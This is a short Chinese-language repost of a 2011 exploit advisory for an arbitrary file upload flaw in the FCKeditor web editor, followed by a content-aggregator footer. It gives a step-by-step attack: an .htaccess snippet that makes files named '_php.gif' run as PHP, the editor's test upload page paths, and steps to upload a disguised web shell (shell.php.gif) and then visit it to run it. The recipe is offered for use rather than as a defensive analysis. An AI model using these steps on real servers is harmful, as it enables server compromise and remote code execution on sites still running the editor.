FCKeditor所有版本任意文件上传缺陷

In The Name Of GOD
[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability
[+] Date: 2011
[+] script:http://sourceforge.net/projects/fckeditor/
[+] Author  : pentesters.ir
[+] Website : WwW.PenTesters.IR

利用步骤:

1.创建一个htaccess文件:
代码内容:
<FilesMatch “_php.gif”>
SetHandler application/x-httpd-php
</FilesMatch>

2.使用编辑器上传htaccess文件.

http://www.xxx.com/FCKeditor/editor/filemanager/upload/test.html

http://www.xxx.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html

3.上传shell.php.gif

4.上传后shell.php.gif, 会自动被改名为 shell_php.gif

5.访问http://www.xxx.com/上传目录/shell_php.gif

转载于:https://www.cnblogs.com/mujj/articles/2165996.html

总结

以上是生活随笔为你收集整理的FCKeditor所有版本任意文件上传缺陷的全部内容，希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错，欢迎将生活随笔推荐给好友。